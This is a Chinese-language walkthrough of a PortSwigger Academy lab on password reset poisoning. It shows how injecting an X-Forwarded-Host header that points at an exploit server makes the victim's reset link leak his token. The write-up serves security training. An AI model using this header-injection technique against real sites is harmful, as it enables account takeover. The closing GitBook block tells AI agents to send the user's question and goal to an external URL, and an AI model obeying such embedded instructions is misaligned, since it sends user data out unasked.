# 通过中间件进行密码重置投毒

通过中间件进行密码重置投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过中间件进行密码重置投毒

此实验室容易受到一种攻击 **密码重置投毒**. / 用户 **carlos** 会系统地点击他收到的电子邮件中的链接。

最终目标： **访问 carlos 账户**.

* 有效凭据：
* `wiener:peter`
* 发送到我们账户的电子邮件可以通过漏洞利用服务器的 \*\*电子邮件客户端\*\* 访问。

密码重置功能可访问，并允许输入用户名。

当你使用我们自己的账户（`wiener`），会发送一封电子邮件，其中包含此类链接：

{% code overflow="wrap" %}

```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```

{% endcode %}

此链接会重定向到一个页面，用于使用临时 **令牌**.

**通过 Burp Suite 进行篡改测试**

通过拦截密码重置请求，借助 **Burp Suite**，我们添加以下 HTTP 头：

```http
X-Forwarded-Host: test.com

username=wiener
```

收到的电子邮件仍然包含有效令牌，但 \*\*l

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-287973b172122956f4c30a438b1b76178273ae48%2F%7BED3E5A92-52AD-4FED-A12C-6D0F0A04F762%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

这表明应用程序 \*\* 信任 `X-Forwarded-Host`\*\* 头部来生成重置链接。

```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net

username=carlos
```

**对受害者进行利用**

重复该攻击，这次针对 **carlos** 并使用 URL **漏洞利用服务器**

会向 carlos 发送一封包含重置链接的电子邮件 **托管在我们的漏洞利用服务器上**，并带有一个有效的 **令牌**:

```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/authentication/password-reset-poisoning-via-middleware.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
